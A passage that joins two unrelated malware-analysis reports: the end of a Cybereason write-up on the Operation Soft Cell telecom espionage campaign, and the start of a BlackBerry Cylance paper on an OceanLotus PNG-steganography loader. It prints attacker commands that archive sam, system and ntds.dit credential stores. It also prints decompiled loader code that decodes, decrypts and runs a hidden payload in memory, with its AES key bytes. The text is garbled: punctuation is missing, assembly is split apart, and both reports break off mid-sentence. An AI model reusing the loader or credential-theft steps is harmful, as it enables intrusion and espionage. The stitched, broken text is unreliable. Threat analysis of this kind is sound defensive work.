DLL side-loading technique to stealthily load itself into +memory. To accomplish this, it exploited a trusted and signed application. The PIVY payload +was dropped along with the trusted and signed Samsung tool (RunHelp.exe) in the following +manner: +1. A nullsoft installer package (NSIS) was created with a legitimate, signed Samsung tool +in it. +2. Once executed, the installer script within the NSIS package extracted the Samsung +tool and added a fake DLL with the same name as a legitimate DLL (ssMUIDLL.dll), +which is required by the application. +3. The DLL contains a PIVY stager, which is then loaded by the Samsung tool. +4. After the fake DLL was loaded by the Samsung tool, it decrypted a blob payload in the +same folder, which contains the actual PIVY payload. +5. It was able to achieve persistence by creating a rogue scheduled task. +11/27 +Post-persistence execution of PIVY, side-loaded into a legitimate Samsung application. +PIVY +s use of DLL side-loading to abuse Samsung tools is not new, and has been reported +previously by Palo Alto. In 2016 it was used to attack pro-democratic activists in Hong Kong, +most probably by Chinese threat actors. + Note: Our team has reached out to and advised the targeted organizations on +active containment actions. +Secondary Web Shells +In later stages of the attack, the threat actor deployed two other custom-built web shells. +From these web shells, they launched reconnaissance commands, stole data, and dropped +additional tools including portqry.exe, renamed cmd.exe, winrar, and the notorious hTran. +Reconnaissance and lateral movement commands launched from the secondary web shell. +Data Exfiltration +The threat actor exfiltrated stolen data using multiple different channels including web +shells and hTran. +Compressing the Stolen Data +12/27 +In an attempt to hide the contents of the stolen data, the threat actor used winrar to +compress and password-protect it. The winrar binaries and compressed data were found +mostly in the Recycle Bin folder, a TTP that was previously observed in APT10-related +attacks, as well as others. This threat actor is known to stage the data in multi-part archives +before exfiltration. +The threat actor used the following commands to compress the data. +rar.exe a -k -r -s -m1 -[password] [REDACTED].rar [REDACTED].temp +rar.exe a -k -r -s -m1 -[password] [REDACTED].rar [REDACTED].csv +rar a -r -[password] [REDACTED].rar sam system ntds.dit +Compressed stolen data exfiltrated via web shell. +The contents of the compressed data was crucial in understanding the threat actor +motivation for the attack, as well as what type of information they were after. +hTran +In order to exfiltrate data from a network segment not connected to the Internet, the threat +actor deployed a modified version of hTran. This +connection bouncer + tool lets the threat +actor redirect ports and connections between different networks and obfuscate C2 server +traffic. There have been numerous reports of hTran being used by different Chinese threat +actors, including: APT3, APT27 and DragonOK. +The threat actor made some modifications to the original source code of hTran. Many +strings, including the debug messages, were intentionally changed and obfuscated in an +attempt to evade detection and thwart efforts to identify the malware by antivirus and +researchers. +13/27 +Obfuscated debug messages. +Since the original source code for hTran is publicly available, we were able to compare the +debug output to the original source code to show that it has indeed been modified. +Identifying modifications in a disassembly of the modified hTran. +14/27 +printf is being called (dubbed by us as +looks_like_printf +) with output +C e. +. By looking at +the original source code, we were able to identify that this is supposed to be +Connect +error +A section of the source code for hTran. +Understanding the Motive +When you think of large breaches to big organizations, the first thing that comes to mind is +usually payment data. An organization that provides services to a large customer base has a +lot of credit card data, bank account information, and more personal data on its systems. +These attacks are usually conducted by a cybercrime group looking to make money. +In contrast, when a nation state threat actor is attacking a big organization, the end goal is +typically not financial, but rather intellectual property or sensitive information about their +clients. +One of the most valuable pieces of data that telecommunications providers hold is Call +Detail Records (CDRs). CDRs are a large subset of metadata that contains all details about +calls, including: +Source, Destination, and Duration of a Call +Device Details +Physical Location +Device Vendor and Version +For a nation state threat actor, obtaining access to this data gives them intimate knowledge +of any individuals they wish to target on that network. It lets them answer questions like: +Who are the individuals talking to? +Which devices are the individuals using? +Where are the individuals traveling? +Having this information becomes particularly valuable when nation-state threat actors are +targeting foreign intelligence agents, politicians, opposition candidates in an election, or +even law enforcement. +15/27 +Example 1: CDR Data +16/27 +Example 2: CDR Data +Example 3: CDR Data +Beyond targeting individual users, this attack is also alarming because of the threat posed +by the control of a telecommunications provider. Telecommunications has become critical +infrastructure for the majority of world powers. A threat actor with total access to a +telecommunications provider, as is the case here, can attack however they want passively +and also actively work to sabotage the network. +This attack has widespread implications, not just for individuals, but also for organizations +and countries alike. The use of specific tools and the choice to hide ongoing operations for +years points to a nation state threat actor, most likely China. This is another form of cyber +warfare being used to establish a foothold and gather information undercover until they are +ready to strike. +Want to learn about post-incident review? +Threat Intel Research +The following sections detail the methodology and work process used to piece together the +various stages and components of the attack. This work enabled us to not only reconstruct +these attacks, but also to find additional artifacts and information regarding the threat actor +and its operations. +17/27 +Methodology +Step 1: Creating and Maintaining an IOC Inventory +The first step in this process was to create a comprehensive list of indicators of compromise +(IOCs) observed throughout the different stages of the attack. This list included various +indicators, such as file hashes, domains, IP addresses, file names, and registry/service +names. In addition to this, our reverse engineers were able to extract further IOCs from the +collected samples, which have also been added to the list. +The list of IOCs was periodically updated and fed back into our threat intel engine as more +were discovered. +Step 2: Hunting for Known Evil +Equipped with an ever-growing list of known IOCs, our team set out to hunt for +low-hanging +fruit + across multiple environments. This step was done by using both internal sources, such +as the Cybereason solution, as well as hunting for indicators in the wild. +The hunt for +known evil + yielded interesting results that helped uncover additional +compromised assets as well as more parts of the attack infrastructure. +Step 3: Threat Actor +s Arsenal +Perhaps one of the most interesting steps involved identifying and analyzing the tools the +threat actor used throughout the attack. The combination of the preference of tools, +sequence of use, and specifically how they are used during the attack says a lot about a +threat actor, especially when it comes to attribution. +One of the more notable aspects was how the threat actor used mostly known tools that +were customized for this specific attack. Each tool was customized differently, and included +re-writing the code, stripping debug symbols, string obfuscation, and embedding the +victim +s specific information within the tools + configuration. +However, the threat actor also used tools we were not able to attribute to any known tool. +These tools were used in the later stages of the attack, once the operation was already +discovered. This was most likely to decrease the risk of exposure or attribution. +Finally, the payloads were almost never repeated. The threat actor made sure that each +payload had a unique hash, and some payloads were packed using different types of +packers, both known and custom. +The main tools these attacks had in common are: +18/27 +1. Web Shells +A modified version of the China Chopper web shell was used for initial +compromise. +Custom-built web shells were used for later phases of the attack. +2. Reconnaissance Tools +A modified version of Nbtscan was used to identify available NetBIOS name +servers locally or over the network. +Multiple Windows built-in tools were used for various tasks, including whoami, +net.exe, ipconfig, netstat, portqry, and more. +WMI and PowerShell commands were used for various tasks. +3. RAT +PoisonIvy was used to maintain access across the compromised assets. +PlugX was used in some of the instances that we're aware of. +4. Credential Dumpers +A modified version of Mimikatz was used to dump credentials stored on the +compromised machines. +A PowerShell-based Mimikatz was also used to dump credentials stored on the +compromised machines. +5. Lateral movement +WMI was used for lateral movement. +PsExec was also used for lateral movement. +6. Connection Proxy +A modified version of hTran was used to exfiltrate stolen data. +7. Compression tool +Winrar was used to compress and password-protect stolen data. +Step 4: Creating a TTP-based Behavioral Profile +One of the key components of threat hunting is to create a TTP-based behavioral profile of +the threat actor in question. Malware payloads and operational infrastructure can be quickly +changed or replaced over time, and as such, the task of tracking a threat actor can become +quite difficult. +For that reason, it is crucial to profile the threat actor and study its behavior, the tools it +uses, and its techniques. These behavioral-based TTPs are less likely to change drastically, +and are\ key factors of any threat hunt or attribution efforts. +The Cybereason solution is compatible with the MITRE ATT&CK framework , which made it +easy to keep track of the observed TTPs and correlate the data with known threat actors. +The following chart reflects the behavioral profile of the threat actor based on the most +frequently observed techniques used throughout these attacks. +19/27 +MITRE ATT&CK Techniques Breakdown +Initial Access +Execution +Persistence +Privilege +Escalation +Defense +Evasion +Credential +Access +Exploit PublicFacing +Application +Command-line +interface +Web Shell +Valid +Accounts +DLL-side +Loading +Credential +Dumping +Windows +Management +Instrumentation +Create +Account +Web Shell +Indicator +Removal from +Tools +PowerShell +Obfuscated +Files or +Information +Masquerading +Discovery +Lateral +Movement +Collection +Command +Control +System Network +Configuration +Discovery +Data From +Local +System +Remote +File Copy +Data +Compressed +Remote System +Discovery +Pass the +Hash +Data +Staged +Connection +Proxy +Account Discovery +Remote File +Copy +Input +Capture +Exfiltration +Impact +Exfiltration Over +Command and +Control Channel +Permission Groups +Discovery +Step 5: Mapping out the Infrastructure and Operational Activity +Reconstructing the Infrastructure +In order to make sense of all the data, we fed it into multiple threat intelligence sources, +including our own and third parties. + Note: Since we cannot share any IOCs, we will refer to file hashes, hostnames, IP +addresses and other IOCs as generic placeholders. +20/27 +Hostname1 is the hostname that was used for the C2 server targeting the +telecommunications providers. +Hostname1 connected to multiple tools. +In analyzing the files, it is clear they are all contacting the same host hostname1. hostname1 +was the C2 server that the malware and web shells connected to. +Once we determined the hashes in the scope of the attack were only connecting to +hostname1, which is a dynamic DNS hostname, we looked to see if we could find more +information about the C2 server. +A simple WHOIS query revealed that the IP address was registered to a colocation hosting +company in Asia, though there was no other publicly available information about this IP +address. +By querying all of our threat intel resources about this IP address, we discovered that it was +associated with multiple dynamic DNS hostnames. +21/27 +Multiple dynamic DNS hostnames. +We were unable to find indications of connections to Dynamic.DNS2 and Dynamic.DNS3. +However, they were registered and associated with IP.Address1. +For the other dynamic DNS hosts, we leveraged various threat intel repositories and crafted +queries that searched for executables with these IP addresses and hostnames in their string +table. One of the queries returned a few DLLs with identical names to the DLL we had +initially investigated. However, the hashes were different. After obtaining the found DLLs, we +patched them back into the NSIS installer and detonated the samples in our testing +environment. Dynamic analysis of the newly obtained DLLs revealed a new set of domains +and IP addresses that were completely different. These domains were actually related to +different telecommunications providers. + Note: Cybereason immediately reached out to those telecommunications providers +and provided them all of the necessary information to handle the incident internally. +22/27 +Strings from the dumped memory section of the injected shellcode. We can see many details +about the attack including domains and C2 server IP addresses. +Shellcode being unpacked and injected into a remote process. The redacted segments contain the +name of the customer, C2 IP addresses, and domains. +Infrastructure Operational Security +23/27 +24/27 +The threat actor +s infrastructure. +The threat actor had a specific pattern of behavior that allowed us to understand their +modus operandi: they used one server with the same IP address for multiple operations. +This server is a key component in their +non-attributable + infrastructure. +The threat actor separated operations by using different hostnames per operation, though +they are hosted on the same server and IP address. The domains and server registration +information pointed to three main countries: China, Hong Kong, and Taiwan. +This is cheap and efficient for the threat actor, but is almost transparent for a seasoned +researcher with access to the right threat intelligence tools. There are previous reports of +threat actors including APT10 and APT1 using dynamic DNS. +Monitoring this infrastructure gave us information about if and when the threat actor was +starting new waves of the attack or additional attacks on other providers. +When researching C2 servers, it is important to watch for: +Association with domains, especially if they are dynamic DNS domains. +File hashes that are associated with the IP address or the domain of the C2 server. +Static information and metadata from associated samples that could be used to +broaden the search after additional information is gathered. +This demonstrates the importance of proper operational security and a separation between +tools and operations for threat actors. +Step 6: Rounding Up Immediate/Potential Suspects +Attribution is a fickle and delicate art. In most cases, it is very difficult to achieve 100% +certainty when attributing an attack to a specific threat actor. It can be tempting to attribute +an attack to a certain threat actor whenever certain tools-of-the-trade, IP addresses, strings, +indicative + techniques are observed. +However, it is important to bear in mind that the aforementioned data points are often +prone to manipulation and reuse across different threat actors. Further, they are not +impervious to psychological warfare, as in, trying to + an operation on a different threat +actor to avoid proper attribution. +In order to increase the certainty level when attributing to a specific threat actor, we took +the following aspects of the attacks into consideration: +Indicators of Compromise +TTPs (Tactics, Techniques and Procedures) +25/27 +Threat actor's tools +Motive behind the attacks +Regional and industry considerations +Carefully examining each of the different aspects plays an important role in avoiding +misattribution. This model offers a more balanced interpretation of the data that is based +on a myriad of components. By performing a contextualized review of the data, you are able +to yield a more wholesome result with greater certainty. +When it comes to attributing Operation Soft Cell, we are unable to achieve 100% certainty +with regard to the identity of the threat actor. However, based on our interpretation of the +data, we conclude with a high level of certainty that: +The threat actor behind Operation Soft Cell is likely state-sponsored. +The threat actor is affiliated with China. +After following the above attribution model and carefully reviewing the data, we are able to +narrow down the suspect list to three known APT groups, all of which are known to be +linked to China- APT10, APT27, and DragonOK. +Having found multiple similarities to previous attacks, it is our estimation that the threat +actor behind these attacks is likely linked to APT10, or at the very least, to a threat actor that +shares tools, techniques, motive and infrastructural preferences with those of APT10. +While we cannot completely rule out a +copy-cat + scenario, where another threat actor might +masquerade as APT10 to thwart attribution efforts, we find this option to be less likely in +light of our analysis of the data. +Conclusion +In this blog, we have described an ongoing global attack against telecommunications +providers that has been active since at least 2017. The threat actor managed to infiltrate +into the deepest segments of the providers + network, including some isolated from the +internet, as well as compromise critical assets. Our investigation showed that these attacks +were targeted, and that the threat actor sought to steal communications data of specific +individuals in various countries. +Throughout this investigation, we have uncovered the infrastructure that facilitated the +malicious operations taken by this threat actor. The data exfiltrated by this threat actor, in +conjunction with the TTPs and tools used, allowed us to determine with a very high +probability that the threat actor behind these malicious operations is backed by a nation +26/27 +state, and is affiliated with China. Our contextualized interpretation of the data suggests +that the threat actor is likely APT10, or at the very least, a threat actor that shares, or wishes +to emulate its methods by using the same tools, techniques, and motives. +s important to keep in mind that even though the attacks targeted specific individuals, any +entity that possesses the power to take over the networks of telecommunications providers +can potentially leverage its unlawful access and control of the network to shut down or +disrupt an entire cellular network as part of a larger cyber warfare operation. +Due to multiple and various limitations, we cannot disclose all the information we have +gathered on the attack in this report. Our team will continue to monitor and track the threat +actor +s activity in order to identify more tools and compromised organizations. +Ask the researchers questions about this attack during their live webinar. +Closing Notes: This research, which is still ongoing, has been a huge effort for the entire +Cybereason Nocturnus team. Special thanks goes to Niv Yona, Noa Pinkas, Josh +Trombley, Jakes Jansen, and every single member of the Nocturnus team for the +countless hours and effort that were put into this research. We will continue to monitor and +update our blog with more information once available and as our investigation progresses. +27/27 +OceanLotus Steganography +Malware Analysis White Paper +Contents +Introduction.............................................................................................. 3 +Steganography Loader #1.................................................................. 3 +Backdoor Launcher............................................................................ 23 +Initial Shellcode.................................................................................... 23 +Overview.................................................................................................... 3 +Launcher DLL........................................................................................ 28 +Features..................................................................................................... 3 +Configuration........................................................................................ 33 +Loader Analysis....................................................................................... 4 +Backdoor DLL........................................................................................ 33 +Steganography Loader #2................................................................17 +C2 Communication Module............................................................. 34 +Overview................................................................................................. 17 +Appendix................................................................................................. 35 +Features.................................................................................................. 17 +Indicators of Compromise (IOCs).................................................. 35 +Loader Analysis.................................................................................... 18 +Hunting.................................................................................................... 36 +VirusTotal +YARA +OceanLotus Steganography : Malware Analysis White Paper +Introduction +While continuing to monitor activity of the OceanLotus APT Group, BlackBerry Cylance researchers uncovered a novel payload +loader that utilizes steganography to read an encrypted payload concealed within a .png image file. The steganography algorithm +appears to be bespoke and utilizes a least significant bit approach to minimize visual differences when compared with the original +image to prevent analysis by discovery tools. Once decoded, decrypted, and executed, an obfuscated loader will load one of the +APT32 backdoors. Thus far, BlackBerry Cylance has observed two backdoors being used in combination with the steganography +loader + a version of Denes backdoor (bearing similarities to the one described by ESET), and an updated version of Remy backdoor. +However, this can be easily modified by the threat actor to deliver other malicious payloads. The complexity of the shellcode and +loaders shows the group continues to invest heavily in development of bespoke tooling. +This white paper describes the steganography algorithm used in two distinct loader variants and looks at the launcher of the backdoor +that was encoded in one of the .png cover images. +Steganography Loader #1 +SHA256 +ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 +Classification +Malware/Backdoor +Size +659 KB (674,816 bytes) +Type +PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit +File Name +mcvsocfg.dll +Observed +September 2018 +Overview +This particular OceanLotus malware loader attempts to imitate McAfee +s McVsoCfg DLL and expects to be side-loaded by the +legitimate +On Demand Scanner + executable. It arrives together with an encrypted payload stored in a separate .png image file. The +.png cover file is actually a valid image file that is not malicious on its own. The payload is encoded inside this image with the use +of a technique called steganography, which utilizes the least significant bits of each pixel +s color code to store hidden information, +without making overtly visible changes to the picture itself. The encoded payload is additionally encrypted with AES128 and further +obfuscated with XOR in an attempt to fool steganography detection tools. +Features + Side-loaded DLL + Loads next-stage payload using custom .png steganography + Uses AES128 implementation from Crypto++ library for payload decryption + Known to load Denes backdoor, might possibly be used also with other payloads +OceanLotus Steganography : Malware Analysis White Paper +Loader Analysis +The malicious DLL exports the same function names as the original mcvsocfg.dll library. All exports contain the exact same code +which will decrypt the payload, inject it into memory, and execute it: +int ValidateDrop() +HANDLE v0; // ebx +void *v1; // edi +void *v2; // esi +DWORD dwSize; // [esp+Ch] [ebp-4h] +read_system_ini(); +v0 = GetCurrentProcess(); +v1 = (void *)decode_payload(&dwSize); +v2 = VirtualAllocEx(v0, 0, dwSize, 0x1000u, 0x40u); +WriteProcessMemory(v0, v2, v1, dwSize, 0); +free(v1); +return ((int (*)(void))v2)(); +Figure 1. Common export entrypoint +The payload is encoded inside a separate .png file using a technique called steganography. On top of that, the decoded payload is +also encrypted with AES-128 and finally obfuscated with XOR 0x3B. It +s worth noting that the XOR key is not hardcoded, but instead +is read from the first byte of the C:\Windows\system.ini file: +OceanLotus Steganography : Malware Analysis White Paper +int __cdecl decode_payload(unsigned int *return_size) +char xor_key; // bl +int result; // eax +void *decoded_payload; // edi +_BYTE *decr_payload; // esi +unsigned int v5; // ecx +void *v6; // [esp-18h] [ebp-23Ch] +int v7; // [esp-14h] [ebp-238h] +int v8; // [esp-10h] [ebp-234h] +int v9; // [esp-Ch] [ebp-230h] +size_t v10; // [esp-8h] [ebp-22Ch] +int v11; // [esp-4h] [ebp-228h] +unsigned int decrypted_size; // [esp+Ch] [ebp-218h] +int key_ptr; // [esp+10h] [ebp-214h] +int payload_size; // [esp+14h] [ebp-210h] +int iv_ptr; // [esp+18h] [ebp-20Ch] +__int16 payload_filename; // [esp+1Ch] [ebp-208h] +char v17; // [esp+1Eh] [ebp-206h] +payload_filename = 0; +memset(&v17, 0, 0x206u); +if ( GetModuleFileNameW((HMODULE)0x10000000, (LPWSTR)&payload_filename, 0x104u) ) +PathRemoveFileSpecW((LPWSTR)&payload_filename); +PathAppendW((LPWSTR)&payload_filename, L +x5j3trra.Png +xor_key = read_system_ini(); +payload_size = 0; +result = decode_payload_from_img((LPCWSTR)&payload_filename, (int)&payload_size); +decoded_payload = (void *)result; +if ( result ) +key_ptr = 0; +iv_ptr = 0; +get_key_and_iv(&key_ptr, &iv_ptr); +decr_payload = cryptoPP_decrypt((int)decoded_payload, payload_size, key_ptr, iv_ptr, &decrypted_size); +free(decoded_payload); +v5 = 0; +if ( decrypted_size ) +decr_payload[v5++] ^= xor_key; +while ( v5 < decrypted_size ); +memmove_stuff((int)&v6, &word_1007B3BE); +write_pid_to_desktop_ini(v6, v7, v8, v9, v10, v11); +result = (int)decr_payload; +*return_size = decrypted_size; +return result; +Figure 2. Payload decoding and decryption routine +OceanLotus Steganography : Malware Analysis White Paper +One of the payloads we encountered was encoded inside an image of Kaito Kuroba1, the gentleman thief character from a +popular Japanese manga series: +Figure 3. +Kaito Kid +To extract the payload, the malware will first initialize the GDI+ API and get the image width and height values: +if ( PathFileExistsW(payload_path) ) +gdi_input = 1; +DebugEventCallback = 0; +SuppressBackgroundThread = 0; +SuppressExternalCodecs = 0; +GdiplusStartup(&gdi_token, &gdi_input, 0); +gdi_struct = (gdi_struct *)GdipAlloc(16); +if ( gdi_struct ) +gdi_struct->vtbl = (int)&Gdiplus::Bitmap::`vftable +bitmap = 0; +gdi_struct->status = GdipCreateBitmapFromFile(payload_path, &bitmap); +gdi_struct->bitmap = (int)bitmap; +else +gdi_struct = 0; +img_width = 0; +gpstatus = GdipGetImageWidth(gdi_struct->bitmap, &img_width); +if ( gpstatus ) +gdi_struct->status = gpstatus; +img_height = 0; +gpstatus_1 = GdipGetImageHeight(gdi_struct->bitmap, &img_height); +if ( gpstatus_1 ) +gdi_struct->status = gpstatus_1; +bitmap = 0; +x = 0; +prev_color = 0xFF000000; +Figure 4. Use of GDI+ APIs +https://en.wikipedia.org/wiki/Kaito_Kuroba. BlackBerry Cylance owns the trademarks included in this white paper. All other trademarks are the property of their +respective owners. +OceanLotus Steganography : Malware Analysis White Paper +The size of the payload is encoded within the first four pixels of the image. After obtaining the size, the malware will allocate an +appropriate memory buffer and proceed to decode the remaining payload byte by byte: +bitmap = 0; +x = 0; +prev_color = 0xFF000000; +gpstatus_2 = GdipBitmapGetPixel(gdi_struct->bitmap, x, 0, &color_1); +if ( gpstatus_2 ) +gdi_struct->status = gpstatus_2; +argb = prev_color; +else +argb = color_1; +prev_color = color_1; +*((_BYTE *)&bitmap + x++) = BYTE2(argb) & 7 | 8 * (8 * argb | BYTE1(argb) & 7); +while ( x < 4 ); +size_of_bitmap = (unsigned int)bitmap; +v10 = (size_t)bitmap; +*(_DWORD *)size = bitmap; +v11 = malloc(v10); +Figure 5. Obtaining size of the payload +OceanLotus Steganography : Malware Analysis White Paper +The payload is encoded in the same way as the size + each byte of the payload is computed from the ARGB color codes of each +subsequent pixel in the image: +img_height_1 = img_height; +index = 0; +bitmap = v11; +y = 0; +color_1 = 0; +x_1 = 4; +if ( img_height > 0 ) +img_width_1 = img_width; +if ( index >= size_of_bitmap ) +break; +if ( x_1 < img_width_1 ) +if ( index >= size_of_bitmap ) +break; +v17 = GdipBitmapGetPixel(gdi_struct->bitmap, x_1, y, &color); +if ( v17 ) +gdi_struct->status = v17; +argb_1 = prev_color; +else +argb_1 = color; +prev_color = color; +++x_1; +img_width_1 = img_width; +bitmap[index++] = BYTE2(argb_1) & 7 | 8 * (8 * argb_1 | BYTE1(argb_1) & 7); +y = color_1; +while ( x_1 < img_width_1 ); +img_height_1 = img_height; +++y; +x_1 = 0; +color_1 = y; +while ( y < img_height_1 ); +Figure 6. Steganography decoding routine +OceanLotus Steganography : Malware Analysis White Paper +In case the payload is bigger than the image used to store it, the remaining payload bytes are simply attached to the image after +its IEND marker, and read directly from the file: +(*(void (__thiscall **)(gdi_struct *, signed int))gdi_struct->vtbl)(gdi_struct, 1); +if ( size_of_bitmap > index ) +file = _wfopen(payload_path, L +_file = file; +if ( file ) +fseek(file, 0, 2); +pos = ftell(_file); +fseek(_file, index - size_of_bitmap + pos, 0); +fread(&bitmap[index], 1u, size_of_bitmap - index, _file); +fclose(_file); +Figure 7. Reading the remaining payload bytes +The pixel encoding algorithm is fairly straightforward and aims to minimize visual differences when compared to the original image +by only modifying the least significant bits of the red, green, and blue color byte values. The alpha channel byte remains unchanged. +To encode a byte of the payload, the first three bits (0-2) are stored in the red color, the next three bits (3-5) are stored in the green +color, and the final two bits (6-7) are stored in the blue color. Decoding is a simple inverse operation: +Figure 8. RGBA pixel decoding +OceanLotus Steganography : Malware Analysis White Paper +Windows converts the .png pixel RGBA value to an ARGB encoding via the GdpiBitmapGetPixel API, which results in the +following decoding: +.text:1000219B +.text:1000219D +.text:1000219F +.text:100021A2 +.text:100021A5 +.text:100021A8 +.text:100021AA +.text:100021AD +.text:100021B0 +.text:100021B2 +edx, eax +cl, al +edx, 8 +dl, 7 +cl, 3 +dl, cl +eax, 16 +dl, 3 +al, 7 +dl, al +; AARRGGBB +; BB +; GG +; GG = GG AND 7 +; BB = BB SHL 3 +; TMP = GG OR BB +; RR +; TMP = TMP SHL 3 +; RR AND 7 +; BYTE = TMP OR RR +Figure 9. Pixel color decoding +For example, an ARGB pixel value of 0xFF4086DB would yield the decoded byte 0xF0: +Figure 10. ARGB pixel decoding +OceanLotus Steganography : Malware Analysis White Paper +To aid in the recovery of encrypted payloads, the following Python script can be used to decode pixel colors from a .png image. +import png +def get_rgba(w, h, pixels, x, y): +Get RGBA pixel DWORD from x, y +pos = x + y * w +pixel = pixels[pos * 4 : (pos + 1) * 4] +return pixel[0], pixel[1], pixel[2], pixel[3] +def decode_pixel(w, h, pixels, x, y): +Get RGBA pixel DWORD at x, y and decode to BYTE +r, g, b, a = get_rgba(w, h, pixels, x, y) +return (r & 7 | 8 * (8 * b | g & 7)) & 0xff +# Open payload image +w, h, pixels, metadata = png.Reader(filename= +payload.png +).read_flat() +size = 0 +x = 0 +y = 0 +# Decode size of payload +while x < 4: +size = (size >> 8) | decode_pixel(w, h, pixels, x, y) << 24 +x = x + 1 +print(hex(size)) +# Decode first row +while x < w: +print(hex(decode_pixel(w, h, pixels, x, y))) +x = x + 1 +Figure 11. Python script for decoding payload from a .png image +After decoding the .png image, the loader then proceeds to initialize the key and IV used to perform AES decryption of the encrypted +payload. Both values are supplied from an array of 256 pseudo-random bytes hardcoded in the binary +s .rdata section. The first two +bytes of that array specify the relative offsets to the key and IV respectively: +.text:10002880 ; =============== S U B R O U T I N E ======================================= +.text:10002880 +.text:10002880 +.text:10002880 get_key_and_iv proc near +; CODE XREF: decode_payload+9C +.text:10002880 +.text:10002880 key_ptr += dword ptr 4 +.text:10002880 iv_ptr += dword ptr 8 +.text:10002880 +.text:10002880 +ax, word ptr ds:crypto_parameters ; 0x32A4 +.text:10002886 +ecx, [esp+key_ptr] +.text:1000288A +movzx +edx, al +; 0xA4 - offset of key in 256-byte array +.text:1000288D +edx, offset crypto_parameters +.text:10002893 +[ecx], edx +.text:10002895 +movzx +ecx, ah +; 0x32 - offset of IV in 256-byte array +.text:10002898 +eax, [esp+iv_ptr] +.text:1000289C +ecx, offset crypto_parameters +.text:100028A2 +[eax], ecx +.text:100028A4 +retn +.text:100028A4 get_key_and_iv endp +.text:100028A4 +Figure 12. Retrieving key and IV values +OceanLotus Steganography : Malware Analysis White Paper +.rdata:1007B588 offset_of_key +.rdata:1007B588 +.rdata:1007B589 offset_of_iv +.rdata:1007B58A +.rdata:1007B58A +.rdata:1007B58A +.rdata:1007B58A +.rdata:1007B58A +.rdata:1007B5BA aes_iv +.rdata:1007B5BA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B5CA +.rdata:1007B62C aes_key +.rdata:1007B62C +.rdata:1007B63C +.rdata:1007B63C +.rdata:1007B63C +.rdata:1007B63C +.rdata:1007B63C +.rdata:1007B63C +.rdata:1007B63C +.rdata:1007B63C +db 0A4h +; DATA XREF: get_key_and_iv +; get_key_and_iv+D +o ... +db 32h +db 6Eh, 1Fh, 0F7h, 0E5h, 27h, 0C5h, 0EEh, 0B8h, 0C8h, 9Bh +db 6Ch, 7Dh, 0D1h, 0F6h, 55h, 3Eh, 76h, 0B7h, 72h, 90h +db 0Ah, 0E6h, 90h, 0DEh, 0DDh, 1Ah, 0D9h, 10h, 2, 98h +db 0E1h, 0CDh, 49h, 0B5h, 0FBh, 0F6h, 1Ch, 99h, 0E1h, 0E9h +db 2Ah, 0FFh, 0F0h, 5, 0C1h, 65h, 0C1h, 0EAh +db 0EDh, 47h, 0B1h, 0BEh, 4Eh, 0A9h, 34h, 87h, 8Fh, 18h +db 8, 0Dh, 0EBh, 0DDh, 0B6h, 2Fh +db 0BAh, 9Fh, 34h, 1Ch, 0FAh, 5Fh, 21h, 0DDh, 0D6h, 89h +db 66h, 0Ah, 0F6h, 8Ah, 1Ch, 77h, 58h, 0EFh, 22h, 0BBh +db 0E7h, 22h, 7Eh, 9Fh, 80h, 74h, 67h, 4, 91h, 0D4h +db 0FDh, 4Ch, 49h, 0C1h, 4Bh, 22h, 30h, 0A5h, 0EFh, 8Eh +db 25h, 0D3h, 0E7h, 0C5h, 43h, 2Ah, 91h, 4, 0FBh, 90h +db 0B4h, 0FBh, 0BBh, 0FBh, 47h, 97h, 20h, 95h, 9Bh, 86h +db 0F7h, 1Dh, 4Ch, 2, 8Bh, 19h, 0C1h, 35h, 3Fh, 0FAh +db 47h, 0B2h, 0FFh, 94h, 96h, 14h, 3Ah, 0B9h, 5Bh, 56h +db 0E2h, 62h, 8, 0, 1Fh, 1, 91h, 4Eh, 79h, 0B3h +db 2, 9Bh, 0Ah, 69h, 96h, 7, 87h, 0E5h +db 3Ah, 2Ah, 68h, 5Ch, 0C4h, 1, 48h, 1, 0FBh, 26h +db 65h, 33h, 5Dh, 67h, 39h, 44h +db 0A3h, 94h, 15h, 4Bh, 0E3h, 89h, 87h, 73h, 0BBh, 8Ch +db 0F7h, 0ACh, 0A8h, 96h, 0FDh, 8Eh, 8Ch, 55h, 7Eh, 31h +db 0EEh, 86h, 9Eh, 6, 0B7h, 1Dh, 5, 6Ah, 0E9h, 45h +db 56h, 9Bh, 61h, 0C6h, 0C5h, 1, 0F1h, 3Bh, 2, 0B0h +db 0A2h, 0F5h, 0A0h, 38h, 9, 9Ch, 59h, 65h, 29h, 0D6h +db 0A6h, 7, 0E8h, 8, 56h, 1Dh, 0F6h, 0Eh, 93h, 0C5h +db 84h, 1Dh, 8Ah, 76h, 35h, 5Ch, 4Ah, 0E1h, 0D1h, 0FBh +db 9Dh, 51h, 52h, 0CEh, 8Fh, 0F8h +Figure 13. AES key and IV inside an array of 256 pseudo-random bytes +The loader uses the AES128 implementation from the open-source Crypto++2 library, which is instantiated in the following manner: +CBC_Mode::Decryption *AESDecryption = new CBC_Mode::Decryption((BYTE*)key, 16, iv); +AESDecryption->ProcessData((byte *)decrypted, (byte *)encrypted, length); +Figure 14. Crypto++ interface +https://www.cryptopp.com/ +OceanLotus Steganography : Malware Analysis White Paper +We were able to correlate most of the disassembly to the corresponding functions from the Crypto++ github source, and it doesn +appear that the malware authors have modified much of the original code. A SimpleKeyringInterface class is used to initialize the +key, while the IV is passed to the SetCipherWithIV function: +.text:100028BE +.text:100028C5 +.text:100028CD +.text:100028D5 +.text:100028DA +.text:100028DF +.text:100028DF +.text:100028E5 +.text:100028EC +.text:100028F7 +.text:100028F9 +.text:100028FC +.text:10002907 +.text:1000290C +.text:1000290E +.text:10002911 +.text:10002918 +.text:10002919 +.text:1000291D +call +push +push +push +call +push +push +push +call +ecx, [esp+208h+cipher_struct] +[esp+208h+var_1E8], 0Fh +[esp+208h+decrypted_size], 0 +byte ptr [esp+208h+decrypted_payload_buf], 0 +cryptlib_algorithm_constructor +dword_1009D664-2664h ; params 0x1009B004 -> 0x1007B6C8 +; get_NameValuePairs +ecx, [esp+20Ch+cipher_struct] +[esp+20Ch+cipher_struct], offset aes_vftable +; key_len +[ebp+key_ptr] +; key +[esp+214h+decrypt_vftable], offset aesdec_vftable +SimpleKeyingInterface__SetKey +; int feedbackSize +[ebp+iv_ptr] +; const byte *iv +eax, [esp+210h+cipher_struct] +; &cipher +ecx, [esp+214h+cbc_struct] +SetCipherWithIV +Figure 15. Algorithm and key initialization +The 